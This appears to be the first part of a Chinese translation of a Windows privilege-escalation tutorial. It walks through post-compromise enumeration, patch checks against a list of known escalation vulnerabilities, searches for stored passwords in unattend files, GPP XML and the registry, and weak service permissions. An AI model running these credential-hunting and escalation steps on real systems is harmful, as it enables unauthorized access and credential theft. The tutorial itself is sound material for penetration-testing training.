Windows 提权基础(上)

序言

本篇教程是笔者翻译国外大牛fuzzysecurity 的文章再加上个人的理解写出的关于Windows 提权基础的文章,其中有些地方因为不太实用所以做了适当修改,感谢@hl0rey 的帮助和建议。

Indispensable Resources:

  • Encyclopaedia Of Windows Privilege Escalation (Brett Moore) -here
  • Windows Attacks: AT is the new black (Chris Gates & Rob Fuller) -here
  • Elevating privileges by exploiting weak folder permissions (Parvez Anwar) -here

Δt for t0 to t3 - Initial Information Gathering

这个教程从Windows 的低权限shell 开始讲述如何提权。我们可能利用某个EXP 或者从客户端攻击取得了一个反弹shell 。最开始我们还不了解这台计算机,不知道它是干什么用的,连接到哪里,有什么等级的权限或者甚至不知道它是什么操作系统。

最初我们希望快速的收集一些重要的信息,以便我们能够评估我们所处的状况,并作出正确的判断!

首先查看连接的是什么操作系统:

1
2
3
4
5
6
//英文系统
//C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
//中文系统
C:\Windows\system32> systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
OS 名称: Microsoft Windows 7 家庭普通版
OS 版本: 6.1.7601 Service Pack 1 Build 7601

接下来查看主机名和当前shell 的用户名:

1
2
3
4
5
C:\Windows\system32> hostname
b33f
C:\Windows\system32> echo %username%
user1

现在我们已经有了基本信息,让我们继续列出其他的用户账号名并查看我们自己更详细的信息。能够看到我们的账号user1 不在localgroup Administrators 中,不是管理员账号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
C:\Windows\system32> net users
User accounts for \\B33F
-------------------------------------------------------------------------------
Administrator b33f Guest
user1
The command completed successfully.
C:\Windows\system32> net user user1
User name user1
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/11/2014 7:47:14 PM
Password expires Never
Password changeable 1/11/2014 7:47:14 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/11/2014 8:05:09 PM
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.

以上就是我们目前需要了解的用户和权限信息。接下来我们查看网络配置信息。

首先我们查看可用的网卡和路由表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
C:\Windows\system32> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : b33f
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-56-79-35
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
DNS Servers . . . . . . . . . . . : 192.168.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
C:\Windows\system32> route print
===========================================================================
Interface List
18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
1...........................Software Loopback Interface 1
16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 192.168.0.104 266
192.168.0.104 255.255.255.255 On-link 192.168.0.104 266
192.168.0.255 255.255.255.255 On-link 192.168.0.104 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.104 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.104 266
===========================================================================
Persistent Routes:
None
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
14 58 ::/0 On-link
1 306 ::1/128 On-link
14 58 2001::/32 On-link
14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::/64 On-link
14 306 fe80::/64 On-link
14 306 fe80::8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::5cd4:9caf:61c0:ba6e/128
On-link
1 306 ff00::/8 On-link
14 306 ff00::/8 On-link
11 266 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
# arp -A displays the ARP (Address Resolution Protocol) cache table for all available interfaces.
C:\Windows\system32> arp -A
Interface: 192.168.0.104 --- 0xb
Internet Address Physical Address Type
192.168.0.1 90-94-e4-c5-b0-46 dynamic
192.168.0.101 ac-22-0b-af-bb-43 dynamic
192.168.0.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static

下面使用netstat 命令查看主机的网络连接和防火墙规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
C:\Windows\system32> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400
TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 684
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5357 [::]:0 LISTENING 4
UDP 0.0.0.0:5355 *:* 1100
UDP 0.0.0.0:52282 *:* 976
UDP 0.0.0.0:55202 *:* 2956
UDP 0.0.0.0:59797 *:* 1400
UDP 127.0.0.1:1900 *:* 2956
UDP 127.0.0.1:65435 *:* 2956
UDP 192.168.0.104:137 *:* 4
UDP 192.168.0.104:138 *:* 4
UDP 192.168.0.104:1900 *:* 2956
UDP 192.168.0.104:5353 *:* 1400
UDP 192.168.0.104:65434 *:* 2956
UDP [::]:5355 *:* 1100
UDP [::]:52281 *:* 976
UDP [::]:52283 *:* 976
UDP [::]:55203 *:* 2956
UDP [::]:59798 *:* 1400
UDP [::1]:1900 *:* 2956
UDP [::1]:5353 *:* 1400
UDP [::1]:65433 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956
# The following two netsh commands are examples of commands that are not universal across OS/SP. The netsh
firewall commands are only available from XP SP2 and upwards.
C:\Windows\system32> netsh firewall show state
Firewall status:
-------------------------------------------------------------------
Profile = Standard
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Group policy version = Windows Firewall
Remote admin mode = Disable
Ports currently open on all network interfaces:
Port Protocol Version Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.
C:\Windows\system32> netsh firewall show config
Domain profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Allowed programs configuration for Domain profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Domain profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Service configuration for Standard profile:
Mode Customized Name
-------------------------------------------------------------------
Enable No Network Discovery
Allowed programs configuration for Standard profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Enable Inbound COMRaider / E:\comraider\comraider.exe
Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe
Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Standard profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Log configuration:
-------------------------------------------------------------------
File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size = 4096 KB
Dropped packets = Disable
Connections = Disable

最后我们简单的看看主机运行的内容:计划任务、正在运行的进程、已经启动的服务和已经安装的驱动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
# This will display verbose output for all scheduled tasks, below you can see sample output for a
single task.
C:\Windows\system32> schtasks /query /fo LIST /v
Folder: \Microsoft\Windows Defender
HostName: B33F
TaskName: \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time: 1/22/2014 5:11:13 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: N/A
Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
-WinTask -RestrictPrivilegesScan
Start In: N/A
Comment: Scheduled Scan
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 5:11:13 AM
Start Date: 1/1/2000
End Date: 1/1/2100
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
[..Snip..]
# The following command links running processes to started services.
C:\Windows\system32> tasklist /SVC
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
smss.exe 244 N/A
csrss.exe 332 N/A
csrss.exe 372 N/A
wininit.exe 380 N/A
winlogon.exe 428 N/A
services.exe 476 N/A
lsass.exe 484 SamSs
lsm.exe 496 N/A
svchost.exe 588 DcomLaunch, PlugPlay, Power
svchost.exe 668 RpcEptMapper, RpcSs
svchost.exe 760 Audiosrv, Dhcp, eventlog,
HomeGroupProvider, lmhosts, wscsvc
svchost.exe 800 AudioEndpointBuilder, CscService, Netman,
SysMain, TrkWks, UxSms, WdiSystemHost,
wudfsvc
svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
LanmanServer, MMCSS, ProfSvc, Schedule,
seclogon, SENS, ShellHWDetection, Themes,
Winmgmt, wuauserv
audiodg.exe 916 N/A
svchost.exe 992 EventSystem, fdPHost, netprofm, nsi,
WdiServiceHost, WinHttpAutoProxySvc
svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc
spoolsv.exe 1244 Spooler
svchost.exe 1272 BFE, DPS, MpsSvc
mDNSResponder.exe 1400 Bonjour Service
taskhost.exe 1504 N/A
taskeng.exe 1556 N/A
vmtoolsd.exe 1580 VMTools
dwm.exe 1660 N/A
explorer.exe 1668 N/A
vmware-usbarbitrator.exe 1768 VMUSBArbService
TPAutoConnSvc.exe 1712 TPAutoConnSvc
[..Snip..]
C:\Windows\system32> net start
These Windows services are started:
Application Experience
Application Information
Background Intelligent Transfer Service
Base Filtering Engine
Bluetooth Support Service
Bonjour Service
COM+ Event System
COM+ System Application
Cryptographic Services
DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client
Diagnostic Policy Service
Diagnostic Service Host
Diagnostic System Host
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Function Discovery Provider Host
Function Discovery Resource Publication
Group Policy Client
[..Snip..]
# This can be useful sometimes as some 3rd party drivers, even by reputable companies, contain more holes
than Swiss cheese. This is only possible because ring0 exploitation lies outside most peoples expertise.
C:\Windows\system32> DRIVERQUERY
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM
ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM
AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM
adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM
adpahci adpahci Kernel 5/2/2007 1:29:26 AM
adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM
AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM
agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM
aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM
aliide aliide Kernel 7/14/2009 7:11:17 AM
amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM
amdide amdide Kernel 7/14/2009 7:11:19 AM
AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM
AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM
amdsata amdsata Kernel 3/19/2010 9:08:27 AM
amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM
amdxata amdxata Kernel 3/20/2010 12:19:01 AM
AppID AppID Driver Kernel 11/20/2010 5:29:48 PM
arc arc Kernel 5/25/2007 5:31:06 AM
[..Snip..]

Δt for t4 - The Arcane Arts Of WMIC

我想要单独提及一下WMIC (Windows Management Instrumentation Command-Line) ,因为它是Windows最有用的命令行工具。WMIC 对于信息收集和后渗透来说非常有用。不过这个工具比较重量级,所以不会一一介绍它的所有功能。

下面链接有关于它的详细使用教程,有兴趣的可以去自己翻译看看:

  • Windows WMIC Command Line (ComputerHope) - here

令人遗憾的是有些Windows的默认配置不允许使用WMIC,除非用户是在管理员组里面。从对VMIC 的测试中我注意到任何版本的XP 系统都不允许低权限账号使用WMIC。相反,默认安装的Windows 7 Professional 和Windows 8 企业版却允许使用低权限账号使用WMIC 来查询系统信息而不需要修改任何设置。惊不惊喜,意不意外?

为了简化操作,贡献社会,方便大家,我写了一个自动化脚本,它将利用VMIC 收集以下信息:进程,服务,用户帐户,用户组,网络接口,硬盘驱动器信息,网络共享信息,已安装的Windows 补丁程序,启动时运行的程序,已安装软件列表,操作系统和时区信息。

你可以从这里下载我的脚本

你也可以从这里下载我利用脚本收集的信息样本

Δt for t5 to t6 - Quick Fails

继续后续步骤之前,你应该花一点时间回顾以下刚才所收集到的信息,因为现在我们已经得到操作系统大量的有用信息了.

尽管已经通过我的WMIC 脚本收集到主机的补丁信息了,但是我们仍然可以通过下面的命令来手动收集。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013
http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013
http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013
http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013
http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013
http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013
http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013
http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013
http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013
http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013
http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013
http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013
http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013
http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013
http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013
http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013
http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013
http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013
http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013
[..Snip..]

提权的EXP 就那么几个,可以查看一下系统是否打有相关漏洞的补丁,没打补丁就嘿嘿嘿了,常见的EXP有这些:,大家可以下载对应版本的Windows 试试这些EXP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Security Bulletin #KB #Description #Operating System
MS17-017  [KB4013081]  [GDI Palette Objects Local Privilege Escalation]  (windows 7/8)
CVE-2017-8464  [LNK Remote Code Execution Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)
MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)
MS16-111  [KB3186973]  [kernel api]  (Windows 10 10586 (32/64)/8.1)
MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)
MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)
MS16-034  [KB3143145]  [Kernel Driver]  (2008/7/8/10/2012)
MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)
MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)
MS16-014  [K3134228]  [remote code execution]  (2008/Vista/7)
MS15-097  [KB3089656]  [remote code execution]  (win8.1/2012)
MS15-076  [KB3067505]  [RPC]  (2003/2008/7/8/2012)
MS15-077  [KB3077657]  [ATM]  (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839]  [Kernel Driver]  (2003/2008/7/8/2012)
MS15-051  [KB3057191]  [Windows Kernel Mode Drivers]  (2003/2008/7/8/2012)
MS15-015  [KB3031432]  [Kernel Driver]  (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-010  [KB3036220]  [Kernel Driver]  (2003/2008/7/8)
MS15-001  [KB3023266]  [Kernel Driver]  (2008/2012/7/8)
MS14-070  [KB2989935]  [Kernel Driver]  (2003)
MS14-068  [KB3011780]  [Domain Privilege Escalation]  (2003/2008/2012/7/8)
MS14-058  [KB3000061]  [Win32k.sys]  (2003/2008/2012/7/8)
MS14-040  [KB2975684]  [AFD Driver]  (2003/2008/2012/7/8)
MS14-002  [KB2914368]  [NDProxy]  (2003/XP)
MS13-053  [KB2850851]  [win32k.sys]  (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221]  [dxgkrnl.sys]  (Vista/2003/2008/2012/7)
MS13-005  [KB2778930]  [Kernel Mode Driver]  (2003/2008/2012/win7/8)
MS12-042  [KB2972621]  [Service Bus]  (2008/2012/win7)
MS12-020  [KB2671387]  [RDP]  (2003/2008/7/XP)
MS11-080  [KB2592799]  [AFD.sys]  (2003/XP)
MS11-062  [KB2566454]  [NDISTAPI]  (2003/XP)
MS11-046  [KB2503665]  [AFD.sys]  (2003/2008/7/XP)
MS11-011  [KB2393802]  [kernel Driver]  (2003/2008/7/XP/Vista)
MS10-092  [KB2305420]  [Task Scheduler]  (2008/7)
MS10-065  [KB2267960]  [FastCGI]  (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059  [KB982799]   [ACL-Churraskito]  (2008/7/Vista)
MS10-048  [KB2160329]  [win32k.sys]  (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165]   [KiTrap0D]  (2003/2008/7/XP)
MS10-012  [KB971468]  [SMB Client Trans2 stack overflow]  (Windows 7/2008R2)
MS09-050  [KB975517]   [Remote Code Execution]  (2008/Vista)
MS09-020  [KB970483]   [IIS 6.0]  (IIS 5.1 and 6.0)
MS09-012  [KB959454]   [Chimichurri]  (Vista/win7/2008/Vista)
MS08-068  [KB957097]   [Remote Code Execution]  (2000/XP)
MS08-067  [KB958644]   [Remote Code Execution]  (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066  [KB956803]   [AFD.sys]  (Windows 2000/XP/Server 2003)
MS08-025  [KB941693]   [Win32.sys]  (XP/2003/2008/Vista)
MS06-040  [KB921883]   [Remote Code Execution]  (2003/xp/2000)
MS05-039  [KB899588]   [PnP Service]  (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)

下一个情景是如果某个环境中有大量的机器需要被安装,那么技术人员通常不会一个接一个机器的去安装,他们通常会选择自动化安装,这就可能会遗留下安装过程的配置文件,这些配置文件中会包含许多敏感信息,例如管理员账号密码,如果能得到这些信息将极大的帮助我们提权。

通常这些敏感文件会出现在下面目录中:

1
2
3
4
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

这些配置文件极可能包含明文密码,也可能会出现base64 编码的情况,下面是一些配置文件的事例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# This is a sample from sysprep.inf with clear-text credentials.
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
# Sample from Unattended.xml with the same "secure" Base64 encoding.
<AutoLogon>
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Administrator</Username>
</AutoLogon>

GPO 首选项文件可用于在域计算机上创建本地用户,当你控制的主机连接在域中时,那么就非常值得去看看存储在SYSVOL 中的Groups.xml 文件,任何经过身份认证的用户都可以读取该文件。尽管xml 文件中的密码通过使用AES 加密来保证安全性,但是通过msdn 发布的静态密钥可以很轻松的解密。

除了Groups.xml 以外,其他几个策略首选项文件也可能存在 “cPassword” 属性

1
2
3
4
5
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes

如下所示,可以通过手动浏览SYSVOL并获取相关文件来利用此漏洞。

除了上面手动查找首选项文件之外,我们也可以利用自动化工具来帮助我们达到目的。

1
可以利用 msf 中的一个后渗透模块来实现自动化 [post/windows/gather/credentials/gpp](https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp)

接下来我们要查找一个奇怪的注册表设置 “AlwaysInstallElevated” , 如果启动此设置,它会允许任何用户将 *.msi 文件安装为NT AUTHORITY \ SYSTEM 。

为了能够利用这个,我们需要检查两个注册表项是否已经设置,如果在这种情况下我们能够弹出 SYSTEM shell. 通过下面的命令可以查看注册表项是否启动。不过笔者测试时发现自己的Windows7 并没有这两个键值。

1
2
3
4
# This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.
C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

最后我们也可能通过下面的命令来挖到未知的宝藏

1
2
3
4
5
6
7
8
9
10
11
12
13
# The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.
C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*
# Search certain file types for a keyword, this can generate a lot of output.
C:\Windows\system32> findstr /si password *.xml *.ini *.txt
# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".
C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s

Δt for t7 to t10 - Roll Up Your Sleeves

希望到目前为止我们已经成功提权,如果确实还没有成功提权的话下面还有一些攻击方法。在这最后一部分,我们会查看Windows 服务和文件/文件夹 权限,我们的目的是利用弱权限来进行提权。当然这里最主要是针对Windows XP 系统

接下来我们将利用一个Windows中大神级的工具集Sysinternals Suite 中的accesschk.exe 来批量检查权限信息,读者可以从这里下载这个工具集

接下来我们从Windows 的服务开始,通过重新配置service 的参数能够让我们快速达到目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# We can use sc to query, configure and manage windows services.
C:\Windows\system32> sc qc Spooler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe
LOAD_ORDER_GROUP : SpoolerGroup
TAG : 0
DISPLAY_NAME : Print Spooler
DEPENDENCIES : RPCSS
: http
SERVICE_START_NAME : LocalSystem

我们也可以使用accesschk 来检查每个服务的权限级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list
all services.
C:\> accesschk.exe -ucqv Spooler
Spooler
R NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS

Accesschk 能够自动检查在某个用户等级下我们对于Windows 服务是否具有写入权限。作为一个低权限的用户,我们通常会想要去检查 “Authenticated Users” 。

咱们来比较一下在Windows 8 和 Windows XP SP0 中输出的不同,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# This is on Windows 8.
C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.
# On a default Windows XP SP0 we can see there is a pretty big security fail.
C:\> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv SSDPSRV
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
